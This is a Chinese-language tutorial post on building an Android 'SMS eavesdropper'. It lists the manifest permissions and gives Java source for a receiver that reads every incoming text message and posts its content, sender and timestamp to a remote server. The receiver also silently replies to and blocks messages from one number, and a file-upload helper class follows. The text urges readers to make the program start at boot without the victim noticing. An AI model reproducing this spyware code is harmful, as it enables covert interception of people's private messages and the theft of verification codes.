短信竊聽器雖然能竊聽到沒人的短信,但是受多方面因素影響,比如開機就得運行你的程序,而且還不能讓用戶發現,這就需要你們自己動腦筋了。
首先我們要在清單裡寫上我們需要的權限與訂閱廣播
- <uses-permission Android:name="android.permission.INTERNET"/>//上網
- <uses-permission android:name="android.permission.RECEIVE_SMS"/>//接收短信
- <uses-permission android:name="android.permission.SEND_SMS"/>//發送短信
- <receiver android:name="MySMSListener">
- <intent-filter android:priority="100">//提升優先級
- <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
- </intent-filter>
- </receiver>
實現代碼
- package cn.class3g.smslistener;
-
- import java.text.SimpleDateFormat;
- import java.util.Date;
- import java.util.HashMap;
- import java.util.Map;
-
- import cn.class3g.utils.SocketHttpRequester;
-
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- import android.os.Bundle;
- import android.telephony.SmsManager;
- import android.telephony.SmsMessage;
- import android.util.Log;
-
- public class MySMSListener extends BroadcastReceiver {
-
- @Override
- public void onReceive(Context context, Intent intent) {
- Bundle bundle = intent.getExtras();
-
- Object[] pdus = (Object[]) bundle.get("pdus");
-
- if (pdus != null && pdus.length > 0) {
- SmsMessage[] messages = new SmsMessage[pdus.length];
- for (int i = 0; i < messages.length; i++) {
- byte[] pdu = (byte[]) pdus[i];
- messages[i] = SmsMessage.createFromPdu(pdu);
- }
- for (SmsMessage msg : messages) {
- String content = msg.getMessageBody();
- String sender = msg.getOriginatingAddress();
- Date date = new Date(msg.getTimestampMillis());
- SimpleDateFormat sdf = new SimpleDateFormat(
- "yyyy-MM-dd HH:mm:ss");
- String sendTime = sdf.format(date);
-
- String path = "http://192.168.65.32:8080/videoweb/video/manage.do";
-
- Map<String, String> param = new HashMap<String, String>();
- param.put("method", "getSMS");
- param.put("content", content);
- param.put("sender", sender);
- param.put("time", sendTime);
-
- try {
- SocketHttpRequester.post(path, param, "UTF-8");
- } catch (Exception e) {
- // TODO Auto-generated catch block
- Log.e("tag", e.toString());
- }
- if (sender != null && sender.endsWith("5556")) {
- SmsManager smsManager = SmsManager.getDefault();
- smsManager.sendTextMessage("5556", null, "123", null, null);
- this.abortBroadcast();// 阻止接受
- }
-
- }
- }
- }
-
- }
用到的方法,讀取數據
- package cn.class3g.utils;
-
-
-
- import java.io.File;
-
- import java.io.FileInputStream;
-
- import java.io.FileNotFoundException;
-
- import java.io.InputStream;
-
-
-
- /**
-
- * 上傳文件
-
- */
-
- public class FormFile {
-
- /* 上傳文件的數據 */
-
- private byte[] data;
-
- private InputStream inStream;
-
- private File file;
-
- /* 文件名稱 */
-
- private String filname;
-
- /* 請求參數名稱*/
-
- private String parameterName;
-
- /* 內容類型 */
-
- private String contentType = "application/octet-stream";
-
-
-
- public FormFile(String filname, byte[] data, String parameterName, String contentType) {
-
- this.data = data;
-
- this.filname = filname;
-
- this.parameterName = parameterName;
-
- if(contentType!=null) this.contentType = contentType;
-
- }
-
-
-
- public FormFile(String filname, File file, String parameterName, String contentType) {
-
- this.filname = filname;
-
- this.parameterName = parameterName;
-
- this.file = file;
-
- try {
-
- this.inStream = new FileInputStream(file);
-
- } catch (FileNotFoundException e) {
-
- e.printStackTrace();
-
- }
-
- if(contentType!=null) this.contentType = contentType;
-
- }
-
-
-
- public File getFile() {
-
- return file;
-
- }
-
-
-
- public InputStream getInStream() {
-
- return inStream;
-
- }
-
-
-
- public byte[] getData() {
-
- return data;
-
- }
-
-
-
- public String getFilname() {
-
- return filname;
-
- }
-
-
-
- public void setFilname(String filname) {
-
- this.filname = filname;
-
- }
-
-
-
- public String getParameterName() {
-
- return parameterName;
-
- }
-
-
-
- public void setParameterName(String parameterName) {
-
- this.parameterName = parameterName;
-
- }
-
-
-
- public String getContentType() {
-
- return contentType;
-
- }
-
-
-
- public void setContentType(String contentType) {
-
- this.contentType = contentType;
-
- }
-
-
-
- }